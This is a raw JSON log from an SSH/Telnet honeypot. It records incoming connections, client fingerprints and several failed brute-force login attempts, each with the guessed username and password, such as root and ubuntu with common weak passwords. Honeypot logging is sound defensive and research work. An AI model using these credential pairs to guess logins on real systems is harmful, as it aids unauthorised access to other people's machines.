{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwezxc","message":"login attempt [ubuntu/123qwezxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:53.287999Z","src_ip":"147.50.231.135","session":"b50312c47e09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:54.039608Z","src_ip":"205.254.166.101","session":"7c2e1c7cc55e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.35364890098572,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:54.173349Z","src_ip":"134.209.8.29","session":"b44341448a20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:54.585472Z","src_ip":"147.50.231.135","session":"b50312c47e09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00591945648193,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:58.649208Z","src_ip":"134.209.8.29","session":"d1cb54c71748","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.571656227111816,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:33:59.808554Z","src_ip":"134.209.8.29","session":"2a34e7593c53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.55480432510376,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:01.621016Z","src_ip":"38.54.119.93","session":"90ec62a96ee8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.716721773147583,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:02.634864Z","src_ip":"134.209.8.29","session":"3d13fdfc6bc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00810933113098,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:09.652286Z","src_ip":"134.209.8.29","session":"d67642bae990","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":48392,"dst_ip":"159.203.135.109","dst_port":23,"session":"154b666e9f50","protocol":"telnet","message":"New connection: 194.233.64.34:48392 (159.203.135.109:23) [session: 154b666e9f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:20.497954Z"}
{"eventid":"cowrie.session.closed","duration":47.41750717163086,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:24.416775Z","src_ip":"134.209.8.29","session":"c78518d7341b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.98794412612915,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:30.170716Z","src_ip":"134.209.8.29","session":"54cc54708287","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.5069522857666,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:30.901302Z","src_ip":"134.209.8.29","session":"342ec8436920","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":64806,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d18a5559c80","protocol":"ssh","message":"New connection: 94.156.152.18:64806 (10.17.0.5:22) [session: 3d18a5559c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:31.239759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:31.248835Z","src_ip":"94.156.152.18","session":"3d18a5559c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:31.376823Z","src_ip":"94.156.152.18","session":"3d18a5559c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.093647480010986,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:31.442433Z","src_ip":"134.209.8.29","session":"29e701513e75","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN4VCPU16GBAMD","message":"login attempt [root/QUEEN4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:31.757692Z","src_ip":"94.156.152.18","session":"3d18a5559c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:32.886683Z","src_ip":"94.156.152.18","session":"3d18a5559c80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43474,"dst_ip":"159.203.135.109","dst_port":23,"session":"b687d61a7afa","protocol":"telnet","message":"New connection: 134.209.8.29:43474 (159.203.135.109:23) [session: b687d61a7afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:35.065926Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43480,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7fd42d7b866","protocol":"telnet","message":"New connection: 134.209.8.29:43480 (159.203.135.109:23) [session: d7fd42d7b866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:38.044086Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44774,"dst_ip":"159.203.135.109","dst_port":23,"session":"8395926e564f","protocol":"telnet","message":"New connection: 134.209.8.29:44774 (159.203.135.109:23) [session: 8395926e564f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:44.285269Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44778,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d4075f8894f","protocol":"telnet","message":"New connection: 134.209.8.29:44778 (159.203.135.109:23) [session: 8d4075f8894f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:45.694465Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44794,"dst_ip":"159.203.135.109","dst_port":23,"session":"0678c1f16868","protocol":"telnet","message":"New connection: 134.209.8.29:44794 (159.203.135.109:23) [session: 0678c1f16868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:48.101858Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44808,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3ca8d6c0e11","protocol":"telnet","message":"New connection: 134.209.8.29:44808 (159.203.135.109:23) [session: f3ca8d6c0e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:48.112299Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44790,"dst_ip":"159.203.135.109","dst_port":23,"session":"31a6d01cb9b2","protocol":"telnet","message":"New connection: 134.209.8.29:44790 (159.203.135.109:23) [session: 31a6d01cb9b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:49.795917Z"}
{"eventid":"cowrie.session.closed","duration":31.082871437072754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:51.580706Z","src_ip":"194.233.64.34","session":"154b666e9f50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":53246,"dst_ip":"10.17.0.5","dst_port":22,"session":"083f5e51dfdb","protocol":"ssh","message":"New connection: 147.50.231.135:53246 (10.17.0.5:22) [session: 083f5e51dfdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:51.605405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:51.611767Z","src_ip":"147.50.231.135","session":"083f5e51dfdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:51.869436Z","src_ip":"147.50.231.135","session":"083f5e51dfdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.537460803985596,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:52.822631Z","src_ip":"134.209.8.29","session":"8395926e564f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1w2e3r4t5","message":"login attempt [ubuntu/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:52.912387Z","src_ip":"147.50.231.135","session":"083f5e51dfdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42606,"dst_ip":"10.17.0.5","dst_port":23,"session":"24b845e057d9","protocol":"telnet","message":"New connection: 38.54.119.93:42606 (10.17.0.5:23) [session: 24b845e057d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:54.066169Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:54.177446Z","src_ip":"147.50.231.135","session":"083f5e51dfdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":29011,"dst_ip":"159.203.135.109","dst_port":22,"session":"605b33a23b6e","protocol":"ssh","message":"New connection: 205.254.166.101:29011 (159.203.135.109:22) [session: 605b33a23b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:59.808381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:34:59.813142Z","src_ip":"205.254.166.101","session":"605b33a23b6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:00.021044Z","src_ip":"205.254.166.101","session":"605b33a23b6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser@1","message":"login attempt [testuser/testuser@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:00.888276Z","src_ip":"205.254.166.101","session":"605b33a23b6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.845503807067871,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:00.911542Z","src_ip":"38.54.119.93","session":"24b845e057d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55672,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b36067a4153","protocol":"telnet","message":"New connection: 134.209.8.29:55672 (159.203.135.109:23) [session: 1b36067a4153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:01.431672Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:02.106461Z","src_ip":"205.254.166.101","session":"605b33a23b6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.211469888687134,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:07.643012Z","src_ip":"134.209.8.29","session":"1b36067a4153","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":40932,"dst_ip":"159.203.135.109","dst_port":23,"session":"97a808fd98b4","protocol":"telnet","message":"New connection: 134.209.8.29:40932 (159.203.135.109:23) [session: 97a808fd98b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:20.509169Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":48890,"dst_ip":"159.203.135.109","dst_port":23,"session":"17f01ecf7e33","protocol":"telnet","message":"New connection: 194.233.64.34:48890 (159.203.135.109:23) [session: 17f01ecf7e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:22.380924Z"}
{"eventid":"cowrie.session.closed","duration":48.98988747596741,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:24.055717Z","src_ip":"134.209.8.29","session":"b687d61a7afa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.70579767227173,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:28.501550Z","src_ip":"134.209.8.29","session":"31a6d01cb9b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34430,"dst_ip":"159.203.135.109","dst_port":23,"session":"114853468085","protocol":"telnet","message":"New connection: 134.209.8.29:34430 (159.203.135.109:23) [session: 114853468085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:31.291918Z"}
{"eventid":"cowrie.session.closed","duration":46.90066909790039,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:35.012688Z","src_ip":"134.209.8.29","session":"f3ca8d6c0e11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42842,"dst_ip":"159.203.135.109","dst_port":23,"session":"654019e6ce74","protocol":"telnet","message":"New connection: 134.209.8.29:42842 (159.203.135.109:23) [session: 654019e6ce74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:35.203825Z"}
{"eventid":"cowrie.session.closed","duration":57.67419743537903,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:35.718201Z","src_ip":"134.209.8.29","session":"d7fd42d7b866","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.981878519058228,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:40.273667Z","src_ip":"134.209.8.29","session":"114853468085","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45782,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e43156c96e3","protocol":"telnet","message":"New connection: 38.54.119.93:45782 (10.17.0.5:23) [session: 2e43156c96e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:41.094983Z"}
{"eventid":"cowrie.session.closed","duration":56.00641393661499,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:41.700767Z","src_ip":"134.209.8.29","session":"8d4075f8894f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46712,"dst_ip":"10.17.0.5","dst_port":23,"session":"577307551444","protocol":"telnet","message":"New connection: 38.54.119.93:46712 (10.17.0.5:23) [session: 577307551444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:43.097635Z"}
{"eventid":"cowrie.session.closed","duration":57.89649701118469,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:45.998225Z","src_ip":"134.209.8.29","session":"0678c1f16868","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42844,"dst_ip":"159.203.135.109","dst_port":23,"session":"b36356e4722e","protocol":"telnet","message":"New connection: 134.209.8.29:42844 (159.203.135.109:23) [session: b36356e4722e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:48.869053Z"}
{"eventid":"cowrie.session.closed","duration":6.278401851654053,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:49.375902Z","src_ip":"38.54.119.93","session":"577307551444","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":38574,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9406542db28","protocol":"telnet","message":"New connection: 134.209.8.29:38574 (159.203.135.109:23) [session: a9406542db28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:50.332058Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":41774,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb8a9bc35790","protocol":"ssh","message":"New connection: 147.50.231.135:41774 (10.17.0.5:22) [session: fb8a9bc35790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:50.970939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:50.982522Z","src_ip":"147.50.231.135","session":"fb8a9bc35790","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:51.242450Z","src_ip":"147.50.231.135","session":"fb8a9bc35790","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcdef3","message":"login attempt [ubuntu/abcdef3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:52.287659Z","src_ip":"147.50.231.135","session":"fb8a9bc35790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.782817840576172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:53.163578Z","src_ip":"194.233.64.34","session":"17f01ecf7e33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:35:53.553351Z","src_ip":"147.50.231.135","session":"fb8a9bc35790","protocol":"ssh"}
